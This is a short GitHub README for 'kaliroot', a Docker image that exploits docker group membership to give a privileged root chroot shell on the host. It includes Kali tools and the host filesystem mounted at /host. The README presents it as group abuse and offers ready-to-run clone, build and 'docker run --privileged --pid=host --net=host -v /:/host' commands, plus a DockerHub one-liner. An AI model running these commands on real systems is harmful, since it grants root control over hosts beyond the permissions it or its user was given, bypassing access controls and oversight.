/kaliroot

Abuses the docker group to give you a priveleged chroot into the root filesystem. Exit the chroot to have all of the Kali tools at your fingertips and access the host filesystem at /host.

Primary LanguageDockerfileMIT LicenseMIT

kaliroot

Abuses docker group privileges to gain a root level shell into the main operating system.

Exit the chroot shell, and you now have access to any Kali tools you need, and access the host root filesystem at /host.

This is part of my slightly larger project on GitHub called dockergroupabuse.

Install via Git

git clone https://github.com/phx/kaliroot
cd kaliroot
docker build -t kaliroot .
docker run --privileged --pid=host --net=host -itv /:/host kaliroot

Install via DockerHub:

docker run --privileged --pid=host --net=host -itv /:/host lphxl/kaliroot